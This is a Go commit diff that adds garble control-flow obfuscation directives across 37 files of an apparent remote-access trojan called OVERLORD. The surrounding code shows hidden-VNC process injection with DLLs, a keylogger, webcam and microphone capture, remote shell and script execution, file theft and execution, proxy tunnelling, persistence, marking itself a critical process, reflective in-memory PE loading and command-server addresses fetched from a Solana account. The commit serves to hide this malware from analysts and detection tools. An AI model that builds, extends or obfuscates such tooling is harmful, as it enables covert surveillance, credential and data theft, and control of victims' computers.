add control flow obf for garble

This commit is contained in:
KingKDot
2026-04-20 13:46:59 -05:00
parent a43da5e047
commit a58e0fadf1
37 changed files with 47 additions and 0 deletions
@@ -25,6 +25,7 @@ var (
) )
func Start(ctx context.Context, env *runtime.Env) error { func Start(ctx context.Context, env *runtime.Env) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
if env == nil { if env == nil {
return nil return nil
} }
@@ -173,6 +173,7 @@ func findSystemCaptureDevice(ctx malgo.Context) (*malgo.DeviceID, string, bool)
} }
func StartVoiceSession(parent context.Context, source string, onCapture func([]byte)) (*Session, error) { func StartVoiceSession(parent context.Context, source string, onCapture func([]byte)) (*Session, error) {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
if onCapture == nil { if onCapture == nil {
return nil, errors.New("voice capture callback is required") return nil, errors.New("voice capture callback is required")
} }
+1
View File
@@ -32,6 +32,7 @@ func supportsCapture() bool {
} }
func captureAndSend(ctx context.Context, env *rt.Env) error { func captureAndSend(ctx context.Context, env *rt.Env) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
if safeDisplayCount() == 0 { if safeDisplayCount() == 0 {
return nil return nil
} }
@@ -23,6 +23,7 @@ import (
) )
func Loop(ctx context.Context, env *rt.Env) { func Loop(ctx context.Context, env *rt.Env) {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
defer recoverAndLog("capture loop", env.Cancel) defer recoverAndLog("capture loop", env.Cancel)
logCodecSupport() logCodecSupport()
@@ -85,6 +86,7 @@ func CaptureDisplayRGBA(display int) (*image.RGBA, error) {
} }
func CaptureAndSend(ctx context.Context, env *rt.Env) error { func CaptureAndSend(ctx context.Context, env *rt.Env) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
defer recoverAndLog("capture send", env.Cancel) defer recoverAndLog("capture send", env.Cancel)
displays := activeDisplays() displays := activeDisplays()
@@ -754,6 +754,7 @@ func calcDirSize(dir string) int64 {
} }
func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) (uint32, error) { func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) (uint32, error) {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
if filePath == "" { if filePath == "" {
return 0, fmt.Errorf("empty file path") return 0, fmt.Errorf("empty file path")
} }
@@ -805,6 +805,7 @@ func hvncEnsureCapCache(w, h int) (uintptr, uintptr, []byte, bool) {
} }
func hvncCaptureDisplayOnThread(display int) (*image.RGBA, error) { func hvncCaptureDisplayOnThread(display int) (*image.RGBA, error) {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
captureMu.Lock() captureMu.Lock()
defer captureMu.Unlock() defer captureMu.Unlock()
@@ -995,6 +996,7 @@ func isExplorerRunningToolhelp() bool {
} }
func hvncMouseMoveOnThread(display int, x, y int32) error { func hvncMouseMoveOnThread(display int, x, y int32) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
bounds, _ := hvncResolveCaptureBounds(display) bounds, _ := hvncResolveCaptureBounds(display)
if bounds.Dx() <= 0 || bounds.Dy() <= 0 { if bounds.Dx() <= 0 || bounds.Dy() <= 0 {
hvncInputMu.Lock() hvncInputMu.Lock()
@@ -1059,6 +1061,7 @@ func hvncMouseMoveOnThread(display int, x, y int32) error {
} }
func hvncMouseButtonOnThread(button int, down bool) error { func hvncMouseButtonOnThread(button int, down bool) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
pt := currentHVNCCursor() pt := currentHVNCCursor()
if button == 0 && !down { if button == 0 && !down {
@@ -1169,6 +1172,7 @@ func hvncMouseButtonOnThread(button int, down bool) error {
} }
func hvncKeyOnThread(vk uint16, down bool) error { func hvncKeyOnThread(vk uint16, down bool) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
pt := currentHVNCCursor() pt := currentHVNCCursor()
hwnd := windowFromPoint(pt) hwnd := windowFromPoint(pt)
if hwnd == 0 { if hwnd == 0 {
@@ -75,6 +75,7 @@ type Config struct {
} }
func Load() Config { func Load() Config {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
server := strings.TrimSpace(os.Getenv("OVERLORD_SERVER")) server := strings.TrimSpace(os.Getenv("OVERLORD_SERVER"))
if server == "" { if server == "" {
server = DefaultServerURL server = DefaultServerURL
@@ -18,6 +18,7 @@ type Identity struct {
} }
func DeriveIdentity() Identity { func DeriveIdentity() Identity {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
hwid := deriveHWID() hwid := deriveHWID()
machineID := platformMachineID() machineID := platformMachineID()
if machineID == "" { if machineID == "" {
@@ -62,6 +62,7 @@ type parsedInstruction struct {
} }
func LoadServerURLsFromSolana(solAddress, agentToken string, rpcEndpoints []string) ([]string, error) { func LoadServerURLsFromSolana(solAddress, agentToken string, rpcEndpoints []string) ([]string, error) {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
if solAddress == "" { if solAddress == "" {
return nil, fmt.Errorf("solana address is empty") return nil, fmt.Errorf("solana address is empty")
} }
@@ -34,6 +34,7 @@ func shellCommand() []string {
} }
func Start(ctx context.Context, env *rt.Env, sessionID string, _ int, _ int) error { func Start(ctx context.Context, env *rt.Env, sessionID string, _ int, _ int) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
if sessionID == "" { if sessionID == "" {
return errors.New("session id required") return errors.New("session id required")
} }
+1
View File
@@ -14,6 +14,7 @@ import (
const crashLogFileName = "crashlogC.log" const crashLogFileName = "crashlogC.log"
func handleFatalPanic() { func handleFatalPanic() {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
if r := recover(); r != nil { if r := recover(); r != nil {
reason := fmt.Sprintf("panic: %v", r) reason := fmt.Sprintf("panic: %v", r)
stack := debug.Stack() stack := debug.Stack()
@@ -19,6 +19,7 @@ var (
const processBreakOnTermination = 29 const processBreakOnTermination = 29
func Setup() { func Setup() {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
if !windows.GetCurrentProcessToken().IsElevated() { if !windows.GetCurrentProcessToken().IsElevated() {
log.Printf("[criticalproc] not running as administrator, skipping critical process flag") log.Printf("[criticalproc] not running as administrator, skipping critical process flag")
return return
@@ -18,6 +18,7 @@ var SkipDirs = map[string]bool{
type ResultFunc func(path string) type ResultFunc func(path string)
func LookupExe(exeName string, workers int, onResult ResultFunc) { func LookupExe(exeName string, workers int, onResult ResultFunc) {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
if workers <= 0 { if workers <= 0 {
workers = 8 workers = 8
} }
@@ -18,6 +18,7 @@ import (
) )
func HandleAgentUpdate(ctx context.Context, env *agentRuntime.Env, cmdID string, sourcePath string, expectedHash string, hideWindow bool) error { func HandleAgentUpdate(ctx context.Context, env *agentRuntime.Env, cmdID string, sourcePath string, expectedHash string, hideWindow bool) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
sourcePath = strings.TrimSpace(sourcePath) sourcePath = strings.TrimSpace(sourcePath)
if sourcePath == "" { if sourcePath == "" {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "missing update path"}) return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "missing update path"})
@@ -536,6 +536,7 @@ func extractCaptureDLLBytes(payload map[string]interface{}) []byte {
} }
func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]interface{}) error { func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]interface{}) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
cmdID, _ := envelope["id"].(string) cmdID, _ := envelope["id"].(string)
action, _ := envelope["commandType"].(string) action, _ := envelope["commandType"].(string)
@@ -27,6 +27,7 @@ func GetPersistedDisplay() int {
} }
func DesktopStart(ctx context.Context, env *rt.Env) error { func DesktopStart(ctx context.Context, env *rt.Env) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
interval, fps := streamInterval("OVERLORD_DESKTOP_MAX_FPS", 120) interval, fps := streamInterval("OVERLORD_DESKTOP_MAX_FPS", 120)
if fps < 60 { if fps < 60 {
fps = 60 fps = 60
@@ -156,6 +156,7 @@ func listWindowsDrives(ctx context.Context, env *agentRuntime.Env, cmdID string)
} }
func HandleFileDownload(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error { func HandleFileDownload(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
log.Printf("file_download: %s", path) log.Printf("file_download: %s", path)
file, err := os.Open(path) file, err := os.Open(path)
@@ -239,6 +240,7 @@ func HandleFileDownload(ctx context.Context, env *agentRuntime.Env, cmdID string
} }
func HandleFileUpload(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, data []byte, offset int64, total int64, transferID string) error { func HandleFileUpload(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, data []byte, offset int64, total int64, transferID string) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
if total > 0 { if total > 0 {
key := uploadKey(path, transferID) key := uploadKey(path, transferID)
pendingUploadsMu.Lock() pendingUploadsMu.Lock()
@@ -720,6 +722,7 @@ func HandleFileZip(ctx context.Context, env *agentRuntime.Env, cmdID string, sou
} }
func HandleFileRead(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, maxSize int64) error { func HandleFileRead(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, maxSize int64) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
log.Printf("file_read: %s", path) log.Printf("file_read: %s", path)
if maxSize == 0 { if maxSize == 0 {
@@ -771,6 +774,7 @@ func HandleFileRead(ctx context.Context, env *agentRuntime.Env, cmdID string, pa
} }
func HandleFileWrite(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, content string) error { func HandleFileWrite(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, content string) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
log.Printf("file_write: %s", path) log.Printf("file_write: %s", path)
dir := filepath.Dir(path) dir := filepath.Dir(path)
@@ -1016,6 +1020,7 @@ func HandleFileChmod(ctx context.Context, env *agentRuntime.Env, cmdID string, p
} }
func HandleFileExecute(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error { func HandleFileExecute(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
log.Printf("file_execute: %s", path) log.Printf("file_execute: %s", path)
err := ExecuteFile(path) err := ExecuteFile(path)
@@ -27,6 +27,7 @@ func GetPersistedHVNCDisplay() int {
} }
func HVNCStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) error { func HVNCStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
interval, fps := streamInterval("OVERLORD_HVNC_MAX_FPS", 120) interval, fps := streamInterval("OVERLORD_HVNC_MAX_FPS", 120)
capture.SetH264TargetFPS(fps) capture.SetH264TargetFPS(fps)
log.Printf("hvnc: starting stream (max fps %d)", fps) log.Printf("hvnc: starting stream (max fps %d)", fps)
@@ -98,6 +98,7 @@ func sendMouseUp(button int) {
} }
func sendMouseInput(flags uint32, mouseData uint32) { func sendMouseInput(flags uint32, mouseData uint32) {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
var inp input var inp input
inp.inputType = INPUT_MOUSE inp.inputType = INPUT_MOUSE
mi := (*mouseInput)(unsafe.Pointer(&inp.union[0])) mi := (*mouseInput)(unsafe.Pointer(&inp.union[0]))
@@ -165,6 +166,7 @@ func sendKeyUp(vk uint16) {
} }
func sendKeyInput(vk uint16, keyUp bool) { func sendKeyInput(vk uint16, keyUp bool) {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
var inp input var inp input
inp.inputType = INPUT_KEYBOARD inp.inputType = INPUT_KEYBOARD
ki := (*keybdInput)(unsafe.Pointer(&inp.union[0])) ki := (*keybdInput)(unsafe.Pointer(&inp.union[0]))
@@ -50,6 +50,7 @@ func HandleKeylogList(ctx context.Context, env *runtime.Env, cmdID string) error
} }
func HandleKeylogRetrieve(ctx context.Context, env *runtime.Env, cmdID string, filename string) error { func HandleKeylogRetrieve(ctx context.Context, env *runtime.Env, cmdID string, filename string) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
if env.Keylogger == nil { if env.Keylogger == nil {
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{ return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
"type": "command_result", "type": "command_result",
@@ -8,6 +8,7 @@ import (
) )
func HandlePluginEvent(ctx context.Context, env *runtime.Env, envelope map[string]interface{}) error { func HandlePluginEvent(ctx context.Context, env *runtime.Env, envelope map[string]interface{}) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
if env.Plugins == nil { if env.Plugins == nil {
return nil return nil
} }
@@ -33,6 +33,7 @@ func HandleProcessList(ctx context.Context, env *runtime.Env, cmdID string) erro
} }
func HandleProcessKill(ctx context.Context, env *runtime.Env, cmdID string, pid int32) error { func HandleProcessKill(ctx context.Context, env *runtime.Env, cmdID string, pid int32) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
log.Printf("process_kill: %d", pid) log.Printf("process_kill: %d", pid)
err := killProcess(pid) err := killProcess(pid)
@@ -24,6 +24,7 @@ var (
) )
func HandleScreenshot(ctx context.Context, env *rt.Env, cmdID string, allDisplays bool) error { func HandleScreenshot(ctx context.Context, env *rt.Env, cmdID string, allDisplays bool) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
restore := capture.BypassResolutionCap() restore := capture.BypassResolutionCap()
defer restore() defer restore()
@@ -13,6 +13,7 @@ import (
) )
func HandleScriptExecute(ctx context.Context, env *agentRuntime.Env, cmdID string, scriptContent string, scriptType string) error { func HandleScriptExecute(ctx context.Context, env *agentRuntime.Env, cmdID string, scriptContent string, scriptType string) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
log.Printf("script: executing %s script (length: %d bytes)", scriptType, len(scriptContent)) log.Printf("script: executing %s script (length: %d bytes)", scriptType, len(scriptContent))
var cmd *exec.Cmd var cmd *exec.Cmd
@@ -23,6 +23,7 @@ type tunnelConn struct {
} }
func HandleProxyConnect(ctx context.Context, env *runtime.Env, connID string, payload map[string]interface{}) error { func HandleProxyConnect(ctx context.Context, env *runtime.Env, connID string, payload map[string]interface{}) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
host, _ := payload["host"].(string) host, _ := payload["host"].(string)
portRaw := payload["port"] portRaw := payload["port"]
var port int var port int
@@ -10,6 +10,7 @@ import (
) )
func WebcamStart(ctx context.Context, env *rt.Env) error { func WebcamStart(ctx context.Context, env *rt.Env) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
fps := env.WebcamFPS fps := env.WebcamFPS
if fps <= 0 { if fps <= 0 {
fps = 30 fps = 30
@@ -40,6 +40,7 @@ func New() *Keylogger {
} }
func (k *Keylogger) Start() error { func (k *Keylogger) Start() error {
//garble:controlflow block_splits=max junk_jumps=max flatten_passes=max
k.mu.Lock() k.mu.Lock()
if k.running { if k.running {
k.mu.Unlock() k.mu.Unlock()
+1
View File
@@ -11,6 +11,7 @@ import (
) )
func main() { func main() {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
cfg := config.Load() cfg := config.Load()
if cfg.SleepSeconds > 0 { if cfg.SleepSeconds > 0 {
@@ -9,6 +9,7 @@ import (
) )
func Acquire(name string) (func(), bool, error) { func Acquire(name string) (func(), bool, error) {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
if name == "" { if name == "" {
return func() {}, true, nil return func() {}, true, nil
} }
@@ -195,6 +195,7 @@ func runPowerShell(script string) error {
} }
func install(exePath string) error { func install(exePath string) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
if len(persistInstallFns) == 0 { if len(persistInstallFns) == 0 {
if err := installStartupImpl(exePath); err != nil { if err := installStartupImpl(exePath); err != nil {
return err return err
@@ -122,6 +122,7 @@ func (m *Manager) FinalizeBundle(ctx context.Context, pluginId string) error {
} }
func (m *Manager) Load(ctx context.Context, manifest PluginManifest, binary []byte) error { func (m *Manager) Load(ctx context.Context, manifest PluginManifest, binary []byte) error {
//garble:controlflow block_splits=max junk_jumps=max flatten_passes=max
if len(binary) == 0 { if len(binary) == 0 {
return errors.New("empty plugin binary") return errors.New("empty plugin binary")
} }
@@ -139,6 +139,7 @@ type MemoryModule struct {
} }
func LoadMemoryModule(data []byte) (*MemoryModule, error) { func LoadMemoryModule(data []byte) (*MemoryModule, error) {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
if len(data) < int(unsafe.Sizeof(imageDOSHeader{})) { if len(data) < int(unsafe.Sizeof(imageDOSHeader{})) {
return nil, errors.New("pe: data too small for DOS header") return nil, errors.New("pe: data too small for DOS header")
} }
+2
View File
@@ -51,6 +51,7 @@ func isRunningInMemory() bool {
} }
func runClient(cfg config.Config) { func runClient(cfg config.Config) {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
baseBackoff := computeBaseBackoff() baseBackoff := computeBaseBackoff()
backoff := baseBackoff backoff := baseBackoff
log.Printf("runtime GOOS=%s GOARCH=%s cfg.OS=%s cfg.Arch=%s", runtime.GOOS, runtime.GOARCH, cfg.OS, cfg.Arch) log.Printf("runtime GOOS=%s GOARCH=%s cfg.OS=%s cfg.Arch=%s", runtime.GOOS, runtime.GOARCH, cfg.OS, cfg.Arch)
@@ -518,6 +519,7 @@ func truncateStr(s string, n int) string {
} }
func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.Conn, cfg config.Config) (err error) { func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.Conn, cfg config.Config) (err error) {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
defer func() { defer func() {
if r := recover(); r != nil { if r := recover(); r != nil {
reason := fmt.Sprintf("session panic: %v", r) reason := fmt.Sprintf("session panic: %v", r)
+1
View File
@@ -3,6 +3,7 @@ package main
import "time" import "time"
func sleepObfuscated(seconds int) { func sleepObfuscated(seconds int) {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
if seconds <= 0 { if seconds <= 0 {
return return
} }
@@ -7,5 +7,6 @@ type Info struct {
} }
func Collect() Info { func Collect() Info {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
return collectPlatform() return collectPlatform()
} }
+1
View File
@@ -3,6 +3,7 @@ package wire
import "github.com/vmihailenco/msgpack/v5" import "github.com/vmihailenco/msgpack/v5"
func DecodeEnvelope(data []byte) (map[string]interface{}, error) { func DecodeEnvelope(data []byte) (map[string]interface{}, error) {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
env := make(map[string]interface{}) env := make(map[string]interface{})
if err := msgpack.Unmarshal(data, &env); err != nil { if err := msgpack.Unmarshal(data, &env); err != nil {
return nil, err return nil, err
+1
View File
@@ -12,6 +12,7 @@ type Writer interface {
} }
func WriteMsg(ctx context.Context, w Writer, v interface{}) error { func WriteMsg(ctx context.Context, w Writer, v interface{}) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
payload, err := msgpack.Marshal(v) payload, err := msgpack.Marshal(v)
if err != nil { if err != nil {
return err return err